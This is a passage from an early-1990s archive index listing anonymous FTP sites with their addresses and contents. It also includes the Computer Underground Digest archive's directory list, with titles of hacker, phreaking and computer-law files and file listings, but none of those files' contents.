+titania.mathematik.uni-ulm.de 134.60.66.21 oberon, modula-2 + titania.mathematik.uni-ulm.de 08/22/90 -3 anonymous/odin@pilot.njin.net +tmc.edu 128.249.1.1 FUBBS bbs list + tmc.edu 05/15/90 5 anonymous/odin@pilot.njin.net +tomcat.gsfc.nasa.gov 128.183.10.100 G8BPQ, desqview + tomcat.gsfc.nasa.gov 03/15/91 7 anonymous/odin@pilot.njin.net +topgun.agps.lanl.gov 192.12.184.72 Khoros, astro, scheme, NeWS, + topgun.agps.lanl.gov etc. + topgun.agps.lanl.gov 01/11/91 6 anonymous/odin@pilot.njin.net +trantor.harris-atd.com 26.13.0.98 unknown + trantor.harris-atd.com 05/15/90 4 anonymous/odin@pilot.njin.net +trantor.umd.edu 128.8.10.14 NTP + trantor.umd.edu 09/22/90 4 anonymous/odin@pilot.njin.net +trident.arc.nasa.gov 128.102.18.13 vms-nntp, trek73 + trident.arc.nasa.gov 128.102.128.3 + trident.arc.nasa.gov 05/15/90 7 anonymous/odin@pilot.njin.net +trix.ai.mit.edu 128.52.32.6 supdup, t3.1, tX11, series, + trix.ai.mit.edu 128.52.38.6 express windows, ftplist, + trix.ai.mit.edu g++, pdp8 lovers archive, + trix.ai.mit.edu The, xp, zmodem + trix.ai.mit.edu 05/15/90 4 anonymous/odin@pilot.njin.net +trout.nosc.mil 26.1.0.3 X11R3, benchmarks, popd, GNU + trout.nosc.mil 128.49.16.7 emacs + trout.nosc.mil 132.249.16.12 + trout.nosc.mil 05/15/90 7 anonymous/odin@pilot.njin.net +trwind.trw.com 129.4.16.70 NNStat, cisco, ibmpc, isode, + trwind.trw.com ka9q, mac, named, sendmail, + trwind.trw.com sun-utils, traceroute, + trwind.trw.com unix-utils + trwind.trw.com 05/15/90 7 anonymous/odin@pilot.njin.net +turbo.bio.net 134.172.2.69 news.announce.newgroups + turbo.bio.net 134.172.3.69 archive + turbo.bio.net 08/06/90 7 anonymous/odin@pilot.njin.net +tut.cis.ohio-state.edu 128.146.8.60 GNU, tcsh, perl scripts + tut.cis.ohio-state.edu 06/02/90 4 anonymous/odin@pilot.njin.net +tut.fi 128.214.1.2 Images, lots of misc. unix + tut.fi 05/15/90 -3 anonymous/odin@pilot.njin.net +tybalt.caltech.edu 131.215.139.100 GraphWidget + tybalt.caltech.edu 131.215.48.100 + tybalt.caltech.edu 05/15/90 7 anonymous/odin@pilot.njin.net +uafcseg.uark.edu 130.184.64.202 (login bbs. telnetable) + uafcseg.uark.edu 08/22/90 4 anonymous/odin@pilot.njin.net +uars.acd.ucar.edu 128.117.32.2 nethack sources + uars.acd.ucar.edu 09/01/90 6 anonymous/odin@pilot.njin.net +ub.cc.umich.edu 35.1.1.47 unknown + ub.cc.umich.edu 12/31/90 5 anonymous/odin@pilot.njin.net +uc.msc.edu 137.66.1.3 unknown + uc.msc.edu 137.66.11.3 + uc.msc.edu 10/09/90 5 anonymous/odin@pilot.njin.net +ucbarpa.berkeley.edu 128.32.130.11 tn3270, pub/4.3, Exntended + ucbarpa.berkeley.edu DCG Prolog + ucbarpa.berkeley.edu 05/15/90 7 anonymous/odin@pilot.njin.net +ucbvax.berkeley.edu 128.32.137.3 nntp, gnews, awm, empire + ucbvax.berkeley.edu 128.32.133.1 + ucbvax.berkeley.edu 05/15/90 7 anonymous/odin@pilot.njin.net +ucdavis.ucdavis.edu 128.120.2.1 POP2, NetHop, UCDwhois, + ucdavis.ucdavis.edu UCDMail, IETF-PPP records + ucdavis.ucdavis.edu 03/22/91 7 anonymous/odin@pilot.njin.net +uceng.uc.edu 129.137.33.1 VLSI Hardware Description + uceng.uc.edu Language + uceng.uc.edu 08/22/90 7 anonymous/odin@pilot.njin.net +uclapp.physics.ucla.edu 128.97.64.65 unknown + uclapp.physics.ucla.edu 128.97.64.122 + uclapp.physics.ucla.edu 08/22/90 7 anonymous/odin@pilot.njin.net +ucrmath.ucr.edu 138.23.146.1 unknown + ucrmath.ucr.edu 03/22/91 7 anonymous/odin@pilot.njin.net +ucsd.edu 128.54.16.1 graphics programs and images, + ucsd.edu 132.239.1.1 ham radio stuff, MIDI + ucsd.edu programs and data, sound + ucsd.edu bites for Sparcstation, + ucsd.edu usenet sources + ucsd.edu 05/15/90 7 anonymous/odin@pilot.njin.net +udlapvms.pue.udlap.mx 140.148.1.1 unknown + udlapvms.pue.udlap.mx 08/22/90 7 anonymous/odin@pilot.njin.net +ugle.unit.no 129.241.1.97 unknown + ugle.unit.no 12/24/90 -2 anonymous/odin@pilot.njin.net +uhccux.uhcc.hawaii.edu 128.171.7.2 unknown + uhccux.uhcc.hawaii.edu 128.171.1.101 + uhccux.uhcc.hawaii.edu 08/22/90 8 anonymous/odin@pilot.njin.net +uhecs.helsinki.fi 128.214.4.1 unknown + uhecs.helsinki.fi 08/22/90 -2 anonymous/odin@pilot.njin.net +uhura.cc.rochester.edu 128.151.224.17 nothing + uhura.cc.rochester.edu 05/15/90 4 anonymous/odin@pilot.njin.net +uicbert.eecs.uic.edu 128.248.166.25 AT&T stuff, unix-pc + uicbert.eecs.uic.edu 05/15/90 5 anonymous/odin@pilot.njin.net +uicsle.csl.uiuc.edu 128.174.30.5 not much + uicsle.csl.uiuc.edu 128.174.31.5 + uicsle.csl.uiuc.edu 05/15/90 6 anonymous/odin@pilot.njin.net +uicvm.uic.edu 128.248.2.50 sas archive + uicvm.uic.edu 08/22/90 5 anonymous/odin@pilot.njin.net +um.cc.umich.edu 35.1.1.43 msdos, mac, apple, atari + um.cc.umich.edu 10/15/90 4 anonymous/odin@pilot.njin.net +umaxc.weeg.uiowa.edu 128.255.56.80 NCSA telnet, sendmail + umaxc.weeg.uiowa.edu 128.255.57.80 + umaxc.weeg.uiowa.edu 05/15/90 5 anonymous/odin@pilot.njin.net +umd5.umd.edu 128.8.10.5 NeXT + umd5.umd.edu 05/15/90 4 anonymous/odin@pilot.njin.net +umigw.miami.edu 128.116.10.1 unknown + umigw.miami.edu 129.171.97.1 + umigw.miami.edu 05/15/90 4 anonymous/odin@pilot.njin.net +umn-cs.cs.umn.edu 128.101.224.1 misc GNU, hypertext, news, + umn-cs.cs.umn.edu japanese + umn-cs.cs.umn.edu 05/15/90 5 anonymous/odin@pilot.njin.net +umnstat.stat.umn.edu 128.101.51.1 XlispStat, S Bayes + umnstat.stat.umn.edu 05/15/90 5 anonymous/odin@pilot.njin.net +umrisca.isc.umr.edu 131.151.8.1 unknown + umrisca.isc.umr.edu 05/16/90 5 anonymous/odin@pilot.njin.net +unicorn.cc.wwu.edu 140.160.240.10 GNU dbm + unicorn.cc.wwu.edu 11/03/90 4 anonymous/odin@pilot.njin.net +unidata.ucar.edu 128.117.140.3 unknown + unidata.ucar.edu 12/26/90 6 anonymous/odin@pilot.njin.net +unix.secs.oakland.edu 141.210.180.2 gcc, gas, gdb, and kermit for + unix.secs.oakland.edu xenix + unix.secs.oakland.edu 11/18/90 4 anonymous/odin@pilot.njin.net +unix2.macc.wisc.edu 128.104.30.1 hosts.txt + unix2.macc.wisc.edu 08/22/90 5 anonymous/odin@pilot.njin.net +unmvax.cs.unm.edu 129.24.16.1 getmaps + unmvax.cs.unm.edu 05/15/90 6 anonymous/odin@pilot.njin.net +unsvax.nevada.edu 131.216.1.11 ftp-list, autoftp, virus + unsvax.nevada.edu stuff, las vegas bbs list + unsvax.nevada.edu 12/26/90 7 anonymous/odin@pilot.njin.net +unx.ucc.okstate.edu 139.78.1.1 unknown + unx.ucc.okstate.edu 02/23/91 5 anonymous/odin@pilot.njin.net +uoft02.utoledo.edu 131.183.1.4 VMSTPC + uoft02.utoledo.edu 08/22/90 4 anonymous/odin@pilot.njin.net +uop.uop.edu 138.9.200.1 bnews, nn, irc + uop.uop.edu 08/22/90 7 anonymous/odin@pilot.njin.net +urth.acsu.buffalo.edu 128.205.7.9 trn + urth.acsu.buffalo.edu 08/06/90 4 anonymous/odin@pilot.njin.net +usc.edu 128.125.1.45 amd (automounter), decus TECO + usc.edu 192.5.10.133 + usc.edu 01/17/91 7 anonymous/odin@pilot.njin.net +ut-chem.cm.utexas.edu 128.83.163.15 Ampac chemistry code for + ut-chem.cm.utexas.edu unix/cray + ut-chem.cm.utexas.edu 01/17/91 3 anonymous/odin@pilot.njin.net +utadnx.cc.utexas.edu 128.83.185.100 VMS sources (zetaps, laser, + utadnx.cc.utexas.edu sxlps) + utadnx.cc.utexas.edu 08/22/90 5 anonymous/odin@pilot.njin.net +utsun.s.u-tokyo.ac.jp 133.11.11.11 japanese/kanji software, + utsun.s.u-tokyo.ac.jp tron, gnu, info-mac, tex, x, + utsun.s.u-tokyo.ac.jp network-related stuff + utsun.s.u-tokyo.ac.jp 05/07/91 -9 anonymous/odin@pilot.njin.net +uu.psi.com 136.161.128.3 GNU Emacs, others, Nysernet, + uu.psi.com IETF, GOSIP + uu.psi.com 05/15/90 4 anonymous/odin@pilot.njin.net +uunet.uu.net 137.39.1.2 X, GNU, athena, bsd-sources, + uunet.uu.net 192.48.96.2 comp.sources.3b1, opinions, + uunet.uu.net comp.sources.amiga, nutshell, + uunet.uu.net comp.sources.games, faces, + uunet.uu.net comp.sources.misc, mach, sco, + uunet.uu.net comp.sources.reviewed, news, + uunet.uu.net comp.sources.unix, sun-fixes, + uunet.uu.net comp.sources.x, internet + uunet.uu.net docs, comp.std.unix, uumap, + uunet.uu.net networking galore, much more + uunet.uu.net 05/07/91 4 anonymous/odin@pilot.njin.net +uvaarpa.virginia.edu 128.143.2.7 u3g, whoisd, VERnet, uvapc, + uvaarpa.virginia.edu net docs and RFCs, misc net, + uvaarpa.virginia.edu etc. + uvaarpa.virginia.edu 06/04/90 4 anonymous/odin@pilot.njin.net +uwasa.fi 128.214.12.3 pc, ts-programs, unix, vms + uwasa.fi 12/23/90 -2 anonymous/odin@pilot.njin.net +uwm.edu 129.89.6.2 info-tahoe + uwm.edu 129.89.7.2 + uwm.edu 05/15/90 5 anonymous/odin@pilot.njin.net +ux.acs.umn.edu 128.101.63.2 unknown + ux.acs.umn.edu 05/15/90 5 anonymous/odin@pilot.njin.net +ux1.cso.uiuc.edu 128.174.5.59 amiga, fish, amicus, cucug + ux1.cso.uiuc.edu 02/05/91 5 anonymous/odin@pilot.njin.net +uxc.cso.uiuc.edu 128.174.5.50 games, HitchHiker's Guide to + uxc.cso.uiuc.edu the Internet, recipes, GIF, + uxc.cso.uiuc.edu GNU, RFC, IEN, and more + uxc.cso.uiuc.edu 06/01/90 5 anonymous/odin@pilot.njin.net +vacs.uwp.wisc.edu 131.210.1.1 discographies, eclectic music + vacs.uwp.wisc.edu newsletter and tangerine + vacs.uwp.wisc.edu dream mailing list archive, + vacs.uwp.wisc.edu other music stuff + vacs.uwp.wisc.edu 09/22/90 5 anonymous/odin@pilot.njin.net +valhalla.ee.rochester.edu 128.151.160.11 RFCs, Network load balancer + valhalla.ee.rochester.edu 05/15/90 4 anonymous/odin@pilot.njin.net +vax.cs.pitt.edu 130.49.2.1 ka9q + vax.cs.pitt.edu 05/15/90 4 anonymous/odin@pilot.njin.net +vax.ftp.com 128.127.2.100 FTP software, inc. + vax.ftp.com 05/15/90 4 anonymous/odin@pilot.njin.net +vax.ph-cip.uni-koeln.de 134.95.64.1 unknown + vax.ph-cip.uni-koeln.de 03/17/91 anonymous/odin@pilot.njin.net +vax1.cs.umass.edu 128.119.40.1 unknown + vax1.cs.umass.edu 08/22/90 4 anonymous/odin@pilot.njin.net +vax1.umkc.edu 134.193.1.1 network information + vax1.umkc.edu 08/22/90 5 anonymous/odin@pilot.njin.net +vax2.cs.umass.edu 128.119.40.2 unknown + vax2.cs.umass.edu 08/22/90 4 anonymous/odin@pilot.njin.net +vaxa.isi.edu 128.9.0.33 clf-act, X, db + vaxa.isi.edu 05/15/90 7 anonymous/odin@pilot.njin.net +vaxb.acs.unt.edu 129.120.1.4 vms, internet libraries list, + vaxb.acs.unt.edu msdos, amiga, midi, network + vaxb.acs.unt.edu info, articles + vaxb.acs.unt.edu 08/22/90 5 anonymous/odin@pilot.njin.net +vega.hut.fi 130.233.200.42 msdos, mac, Kermit, fusion + vega.hut.fi docs, food recipes (alt. + vega.hut.fi gourmand), SF author lists, + vega.hut.fi os2 + vega.hut.fi 05/15/90 -3 anonymous/odin@pilot.njin.net +vela.acs.oakland.edu 141.210.10.2 unknown + vela.acs.oakland.edu 01/17/91 4 anonymous/odin@pilot.njin.net +venera.isi.edu 128.9.0.32 statspy (NNstat), GNU Chess + venera.isi.edu 05/15/90 7 anonymous/odin@pilot.njin.net +venus.ycc.yale.edu 130.132.1.5 SBTeX + venus.ycc.yale.edu 08/22/90 4 anonymous/odin@pilot.njin.net +vesta.sunquest.com 192.12.52.32 vms cryptodisk and virtual + vesta.sunquest.com 192.12.52.132 disk driver + vesta.sunquest.com 149.138.1.32 + vesta.sunquest.com 08/22/90 7 anonymous/odin@pilot.njin.net +vision.mqcc.mq.oz.au 137.111.160.5 unknown + vision.mqcc.mq.oz.au 03/25/91 -11 anonymous/odin@pilot.njin.net +vlsi.cs.umn.edu 128.101.230.15 PLP (Public line printer) + vlsi.cs.umn.edu 08/22/90 5 anonymous/odin@pilot.njin.net +vm.tcs.tulane.edu 129.81.128.1 rfc, terminfo + vm.tcs.tulane.edu 08/22/90 5 anonymous/odin@pilot.njin.net +vm.utdallas.edu 129.110.102.2 lipphe ibm tcp/ip bit and + vm.utdallas.edu k200 drivers + vm.utdallas.edu 08/22/90 5 anonymous/odin@pilot.njin.net +vm1.nodak.edu 134.129.111.1 fixes minix, fixes ev1188, + vm1.nodak.edu QNS, medical newsletter + vm1.nodak.edu 08/22/90 5 anonymous/odin@pilot.njin.net +vmd.cso.uiuc.edu 128.174.5.98 weather sattelite gifs + vmd.cso.uiuc.edu 12/24/90 5 anonymous/odin@pilot.njin.net +vms.ecs.rpi.edu 128.113.5.15 Message Exchange + vms.ecs.rpi.edu 08/22/90 4 anonymous/odin@pilot.njin.net +vms.huji.ac.il 128.139.4.3 unknown + vms.huji.ac.il 04/24/91 anonymous/odin@pilot.njin.net +vms2.ecs.rpi.edu 128.113.5.14 NEWSRDR + vms2.ecs.rpi.edu 08/22/90 4 anonymous/odin@pilot.njin.net +vmsa.oac.uci.edu 128.200.9.5 VMS make, tar + vmsa.oac.uci.edu 02/21/91 7 anonymous/odin@pilot.njin.net +vmsd.oac.uci.edu 128.200.15.2 VMS stuff + vmsd.oac.uci.edu 08/22/90 7 anonymous/odin@pilot.njin.net +vmtecmex.cem.itesm.mx 132.254.1.4 amiga, msdos, gif + vmtecmex.cem.itesm.mx 02/08/91 anonymous/odin@pilot.njin.net +vuwcom.vuw.ac.nz 130.195.2.10 kermit, mac, msdos, vms + vuwcom.vuw.ac.nz 02/05/91 anonymous/odin@pilot.njin.net +watcgl.waterloo.edu 129.97.128.64 unknown + watcgl.waterloo.edu 10/09/90 4 anonymous/odin@pilot.njin.net +watmath.waterloo.edu 129.97.128.1 lots of stuff + watmath.waterloo.edu 129.97.216.42 + watmath.waterloo.edu 05/15/90 4 anonymous/odin@pilot.njin.net +watmsg.waterloo.edu 129.97.129.9 GNU, pd BSD, uSystem docs, + watmsg.waterloo.edu virus, cryptography + watmsg.waterloo.edu 05/15/90 4 anonymous/odin@pilot.njin.net +watnxt2.ucr.edu 192.31.146.189 unknown + watnxt2.ucr.edu 10/09/90 7 anonymous/odin@pilot.njin.net +watserv1.waterloo.edu 129.97.129.140 unknown + watserv1.waterloo.edu 08/22/90 4 anonymous/odin@pilot.njin.net +watsun.cc.columbia.edu 128.59.39.2 kermit + watsun.cc.columbia.edu 05/15/90 4 anonymous/odin@pilot.njin.net +wayback.cs.cornell.edu 128.84.254.7 unknown + wayback.cs.cornell.edu 04/24/91 4 anonymous/odin@pilot.njin.net +weedeater.math.yale.edu 130.132.23.17 rayshade, misc. raytracing + weedeater.math.yale.edu goodies + weedeater.math.yale.edu 05/15/90 4 anonymous/odin@pilot.njin.net +wilbur.stanford.edu 36.14.0.30 unknown + wilbur.stanford.edu 12/26/90 7 anonymous/odin@pilot.njin.net +willow.cs.wwu.edu 140.160.140.153 unknown + willow.cs.wwu.edu 03/22/91 anonymous/odin@pilot.njin.net +wilma.cs.brown.edu 128.148.31.66 Brown CS Field and Thread + wilma.cs.brown.edu packages, comp.robotics + wilma.cs.brown.edu 08/22/90 4 anonymous/odin@pilot.njin.net +winnie.princeton.edu 128.112.128.180 music software (unix & NeXT) + winnie.princeton.edu 08/22/90 4 anonymous/odin@pilot.njin.net +wolfen.cc.uow.edu.au 130.130.0.1 unknown + wolfen.cc.uow.edu.au 01/17/91 -10 anonymous/odin@pilot.njin.net +woodstock.andrew.cmu.edu 128.2.30.38 oopc + woodstock.andrew.cmu.edu 07/08/90 4 anonymous/odin@pilot.njin.net +world.std.com 192.74.137.5 OBI (Online Book Initiative - + world.std.com [ed: neat stuff]), + world.std.com comp.society, futures + world.std.com archives + world.std.com 04/24/91 anonymous/odin@pilot.njin.net +wpi.wpi.edu 130.215.24.1 dspl, anime, fusion, mac, + wpi.wpi.edu GNU, ash, DES, misc Unix, + wpi.wpi.edu TeX_DS3100, TeX_Umax, misc X + wpi.wpi.edu 05/15/90 4 anonymous/odin@pilot.njin.net +wsmr-simtel20.army.mil 192.88.110.20 msdos, unix, cpm, mac (tenex) + wsmr-simtel20.army.mil 26.2.0.74 + wsmr-simtel20.army.mil 08/22/90 6 anonymous/odin@pilot.njin.net +wuarchive.wustl.edu 128.252.135.4 GNU, X.11R3, GIF, IEN, RFCs, + wuarchive.wustl.edu TeX, UUPC, info-mac, + wuarchive.wustl.edu 4.3BSD-Tahoe, + wuarchive.wustl.edu comp.binaries.amiga, + wuarchive.wustl.edu comp.binaries.apple2, + wuarchive.wustl.edu comp.binaries.atari.st, + wuarchive.wustl.edu comp.binaries.ibm.pc, + wuarchive.wustl.edu comp.sources.amiga, + wuarchive.wustl.edu comp.sources.atari.st, + wuarchive.wustl.edu comp.sources.games, + wuarchive.wustl.edu comp.sources.misc, + wuarchive.wustl.edu comp.sources.sun, + wuarchive.wustl.edu comp.sources.unix, + wuarchive.wustl.edu comp.sources.x, msdos, + wuarchive.wustl.edu simtel20, elm (24 hours/day) + wuarchive.wustl.edu 08/22/90 5 anonymous/odin@pilot.njin.net +xanth.cs.odu.edu 128.82.8.1 comp.sources.x, + xanth.cs.odu.edu 128.82.4.1 comp.sources.unix, + xanth.cs.odu.edu comp.sources.misc, + xanth.cs.odu.edu comp.sources.games, X10R4 + xanth.cs.odu.edu 08/01/90 4 anonymous/odin@pilot.njin.net +xview.ucdavis.edu 128.120.1.150 xview + xview.ucdavis.edu 07/19/90 7 anonymous/odin@pilot.njin.net +yalevm.ycc.yale.edu 130.132.1.4 unknown + yalevm.ycc.yale.edu 08/22/90 4 anonymous/odin@pilot.njin.net +yallara.cs.rmit.oz.au 131.170.24.42 unknown + yallara.cs.rmit.oz.au 192.55.190.42 + yallara.cs.rmit.oz.au 01/17/91 -12 anonymous/odin@pilot.njin.net +ymir.claremont.edu 134.173.4.23 lots of VMS, TeX-for-VMS, + ymir.claremont.edu mainz fonts + ymir.claremont.edu 08/22/90 7 anonymous/odin@pilot.njin.net +z.andrew.cmu.edu 128.2.30.8 bugfixar + div + z.andrew.cmu.edu 05/15/90 4 anonymous/odin@pilot.njin.net +zap.mit.edu 18.72.0.126 Clue docs, Yow + zap.mit.edu 08/22/90 4 anonymous/odin@pilot.njin.net +zaphod.lanl.gov 128.165.44.202 unknown + zaphod.lanl.gov 02/23/91 6 anonymous/odin@pilot.njin.net +zaphod.ncsa.uiuc.edu 141.142.20.50 mac X programs, ncsa telnet, + zaphod.ncsa.uiuc.edu Heirarchical Data File + zaphod.ncsa.uiuc.edu system, misc graphics & + zaphod.ncsa.uiuc.edu scientific formats + zaphod.ncsa.uiuc.edu 08/13/90 5 anonymous/odin@pilot.njin.net +zariski.harvard.edu 128.103.28.10 macaulay + zariski.harvard.edu 05/15/90 4 anonymous/odin@pilot.njin.net +zerkalo.harvard.edu 128.103.40.201 traceroute + zerkalo.harvard.edu 05/15/90 4 anonymous/odin@pilot.njin.net +zeus.mgmt.purdue.edu 128.210.1.3 unknown + zeus.mgmt.purdue.edu 05/15/90 5 anonymous/odin@pilot.njin.net +zeus.unomaha.edu 137.48.1.1 cedit - column editor + zeus.unomaha.edu 02/21/91 5 anonymous/odin@pilot.njin.net +zurich.ai.mit.edu 18.26.0.176 liar, scheme, gif, fx + zurich.ai.mit.edu 18.43.0.176 + zurich.ai.mit.edu 08/22/90 4 anonymous/odin@pilot.njin.net +=============================================================================== + +List of files one can obtain from FTP + +Directory Description +--------- ----------- +ane Anarchy & Explosives Digest + +ati The Activist Times Incorporated files + Files #4 and #9 are missing. [ They supposedly don't exist. ] + Contact akcs.groundzero@tronsbox.xei.com for info on + future issues. + +bootlegger Bootlegger misc. info collections. + +box various color box files + +chalisti The Chalisti German Newsletter [ They're in German. Some + ambitious and talented linguicist care to translate 'em? ] + +china CHINA Educational Infofiles + +cud The Computer Underground Digest + Also: Niedorf Flash. + Contact tk0jut2@niu.bitnet for a subscription. + +hackltd Hackers Limited newsletter. + +hnet H-Net Digest. (Started June 1990) (None since) + +kcah KCAH newsletter. + +law Current computer crime laws and policies for various + states and countries. + (Everyone [law students especially] is encouraged to send + along other statutes...we want to build this area up to + [hopefully] a full set.) + +lod The LOD/H Technical Journals + +narc The Nuclear Anarchists/Phreakers/Hackers Digest + +network various computing policies on various networks + +nia The Network Information Access Newsletter. + Contact elisem@nuchat.sccsi.com for more information + about NIA. + +papers various papers on a variety of topics. See the index for + more information (/pub/cud/papers/Index). + +pha Phreakers/Hackers/Anarchists newsletter. + +phantasy Phantasy Newsletter + +phrack PHRACK Magazine. (Phrack Classic as of #32.) + If you have trouble FTPing #32, get it in BINARY mode. + Contact ps@well.sf.ca.us for information about future issues. + +phun PHun Magazine + +pirate Pirate Magazine + +ppp Phuckin' Phield Phreakers newsletter. + +school computing policies at varous universities + +synd The Syndicate Reports. [ If you have #18-19, please + send them in! We can't find them. ] + +tap The TAP Magazine Online + + +All directories have a file called Index (mainly for email users) with the +exact names of the files and approximate size in KB. In addition, there are +some extra files in the cud directory: + +Notes just a note about the Ripco BBS number in CuD issue 2.02 being + corrected. + +cud-arch this file, for email users. + +chsun1.email.files a comprehensive list of files in the CuD archives + the first half is a list of relatively new files. + the second half is a list of the total archives + a similar file exists called chsun1.ftp.files + (linked to it), visible to ftp users. + + + Any requests for files to be added to the archives should be sent via email to +cudarch@cs.widener.edu, cudarch@chsun1.uchicago.edu, or tk0jut2@niu.bitnet. +================= +echo extracting cud/chsun1.email.files +cat > chsun1.email.files << '=================' + new for June: +cud: +-r--r--r-- 1 kusumoto 45542 Jun 12 19:24 cud3.20 +-r--r--r-- 1 kusumoto 533 Jun 10 18:47 README.watch10a +-r--r--r-- 1 kusumoto 40190 Jun 10 18:48 watch10a.uu +-r--r--r-- 1 kusumoto 13685 Jun 10 18:46 watch10a.exe +-r--r--r-- 1 kusumoto 39902 Jun 4 17:27 cud3.19 +-r--r--r-- 1 kusumoto 30790 Jun 3 15:35 cud3.18 +-r--r--r-- 1 kusumoto 6627 Jun 3 15:35 vol3_index + +chalisti: +-r--r--r-- 1 kusumoto 108913 Jun 6 21:41 chalisti14 + +papers: +-r--r--r-- 1 kusumoto 133 Jun 3 18:52 riggs.brief + +kcah: +-r--r--r-- 1 kusumoto 17440 Jun 3 19:02 kcah.2 + +china: +-r--r--r-- 1 kusumoto 9473 May 29 14:47 china-2.3 + +hackltd: +-r--r--r-- 1 kusumoto 79559 May 29 14:49 hu-1.2 + +ppp: +-r--r--r-- 1 kusumoto 8449 May 29 14:58 ppp.1 +-r--r--r-- 1 kusumoto 21077 May 29 14:53 ppp.2 + +pha: +-r--r--r-- 1 kusumoto 121252 May 29 14:50 ppa.2 + +box: +-r--r--r-- 1 kusumoto 3636 Jun 10 18:57 acrylic +-r--r--r-- 1 kusumoto 7509 Jun 10 18:57 aqua +-r--r--r-- 1 kusumoto 8202 Jun 10 18:57 aqua2 +-r--r--r-- 1 kusumoto 7381 Jun 10 18:57 beige +-r--r--r-- 1 kusumoto 2811 Jun 10 18:57 black +-r--r--r-- 1 kusumoto 5173 Jun 10 18:57 black2 +-r--r--r-- 1 kusumoto 5172 Jun 10 18:56 black3 +-r--r--r-- 1 kusumoto 1986 Jun 10 18:56 blast +-r--r--r-- 1 kusumoto 6194 Jun 10 18:56 bloto +-r--r--r-- 1 kusumoto 5100 Jun 10 18:56 blue +-r--r--r-- 1 kusumoto 2292 Jun 10 18:56 blue2 +-r--r--r-- 1 kusumoto 2756 Jun 10 18:56 brown +-r--r--r-- 1 kusumoto 2272 Jun 10 18:55 bud +-r--r--r-- 1 kusumoto 5455 Jun 10 18:55 chartreu +-r--r--r-- 1 kusumoto 1791 Jun 10 18:55 cheese +-r--r--r-- 1 kusumoto 1959 Jun 10 18:55 cheese2 +-r--r--r-- 1 kusumoto 6085 Jun 10 18:55 chrome +-r--r--r-- 1 kusumoto 2469 Jun 10 18:55 clear +-r--r--r-- 1 kusumoto 2900 Jun 10 18:55 copper +-r--r--r-- 1 kusumoto 2900 Jun 10 18:54 copper2 +-r--r--r-- 1 kusumoto 2528 Jun 10 18:54 crimson +-r--r--r-- 1 kusumoto 7330 Jun 10 18:54 dayglo +-r--r--r-- 1 kusumoto 3386 Jun 10 18:54 dloc +-r--r--r-- 1 kusumoto 3342 Jun 10 18:54 gold +-r--r--r-- 1 kusumoto 1607 Jun 10 18:54 green +-r--r--r-- 1 kusumoto 3295 Jun 10 18:54 jackbox +-r--r--r-- 1 kusumoto 5420 Jun 10 18:53 light +-r--r--r-- 1 kusumoto 7289 Jun 10 18:53 lunchbox +-r--r--r-- 1 kusumoto 6928 Jun 10 18:53 magenta +-r--r--r-- 1 kusumoto 5116 Jun 10 18:53 mauve +-r--r--r-- 1 kusumoto 1792 Jun 10 18:53 neon +-r--r--r-- 1 kusumoto 3450 Jun 10 18:53 olive +-r--r--r-- 1 kusumoto 5136 Jun 10 18:52 pearl +-r--r--r-- 1 kusumoto 1778 Jun 10 18:52 pinkbox +-r--r--r-- 1 kusumoto 3873 Jun 10 18:52 pinkbox2 +-r--r--r-- 1 kusumoto 3121 Jun 10 18:52 portable.silver +-r--r--r-- 1 kusumoto 1909 Jun 10 18:52 purple +-r--r--r-- 1 kusumoto 4988 Jun 10 18:51 razzbox +-r--r--r-- 1 kusumoto 2070 Jun 10 18:51 red +-r--r--r-- 1 kusumoto 6326 Jun 10 18:51 rockbox +-r--r--r-- 1 kusumoto 2521 Jun 10 18:51 scarlet +-r--r--r-- 1 kusumoto 2282 Jun 10 18:51 silver +-r--r--r-- 1 kusumoto 5124 Jun 10 18:50 silver2 +-r--r--r-- 1 kusumoto 3883 Jun 10 18:50 static +-r--r--r-- 1 kusumoto 5805 Jun 10 18:50 tvcable +-r--r--r-- 1 kusumoto 4379 Jun 10 18:50 urine +-r--r--r-- 1 kusumoto 4061 Jun 10 18:49 white +-r--r--r-- 1 kusumoto 3346 Jun 10 18:49 white2 +-r--r--r-- 1 kusumoto 1782 Jun 10 18:49 yellow +-r--r--r-- 1 kusumoto 197939 Jun 3 19:01 all.box + + new for May: +school: +-rw-r--r-- 1 kusumoto 14491 May 28 23:32 ocf.constitution +-rw-r--r-- 1 kusumoto 1394 May 28 23:31 ocf.bylaws +-rw-r--r-- 1 kusumoto 11185 May 28 23:27 purdue.cc.policy +-r--r--r-- 1 kusumoto 10026 Jan 25 17:43 purdue.ecn.policy [renamed] + +papers: +-r--r--r-- 1 kusumoto 47708 May 27 15:22 tribe +-r--r--r-- 1 kusumoto 31927 May 10 16:04 morris.appeal +-r--r--r-- 1 kusumoto 54923 May 6 21:20 sj.lawsuit + +nia: +-r--r--r-- 1 kusumoto 286247 May 27 15:09 nia71 + +law: +-r--r--r-- 1 kusumoto 16498 May 20 15:00 new.mexico +-r--r--r-- 1 kusumoto 5479 May 20 15:00 north.carolina +-r--r--r-- 1 kusumoto 227494 May 11 14:59 bill.s.618 +-r--r--r-- 1 kusumoto 5767 May 10 16:04 washington +-r--r--r-- 1 kusumoto 4515 May 8 15:39 oregon +-r--r--r-- 1 kusumoto 128606 May 6 21:18 us.e-privacy + +cud: +-r--r--r-- 1 kusumoto 36587 May 20 15:00 cud3.17 +-r--r--r-- 1 kusumoto 41448 May 10 16:04 cud3.16 +-r--r--r-- 1 kusumoto 41114 May 6 17:11 cud3.14 +-r--r--r-- 1 kusumoto 47088 May 2 19:41 cud3.15 + +narc: +-r--r--r-- 1 kusumoto 3350 May 29 14:49 narc.10 +-r--r--r-- 1 kusumoto 5555 May 29 14:48 narc.09 +-r--r--r-- 1 kusumoto 3716 May 29 14:48 narc.08 + + current archives: +lrwxrwxrwx 1 kusumoto 12 May 14 09:57 Index -> cud/cud-arch +drwxr-xr-x 2 kusumoto 512 Jan 16 17:46 ane/ +drwxr-xr-x 2 kusumoto 1024 May 27 15:28 ati/ +drwxr-xr-x 2 kusumoto 512 Jan 16 17:46 bootlegger/ +drwxr-xr-x 2 kusumoto 1024 Jun 13 23:22 box/ +drwxr-xr-x 2 kusumoto 512 Jun 10 18:33 chalisti/ +drwxr-xr-x 2 kusumoto 512 Jun 13 23:22 china/ +lrwxrwxrwx 1 kusumoto 22 May 14 09:57 chsun1.ftp.files -> cud/chsun1.email.files +drwxr-xr-x 2 kusumoto 1536 Jun 13 22:19 cud/ +drwxr-xr-x 2 kusumoto 512 Jun 13 23:22 hackltd/ +drwxr-xr-x 2 kusumoto 512 Jan 16 17:46 hnet/ +drwxr-xr-x 2 kusumoto 512 Jun 13 23:22 kcah/ +drwxr-xr-x 2 kusumoto 1024 May 27 15:04 law/ +drwxr-xr-x 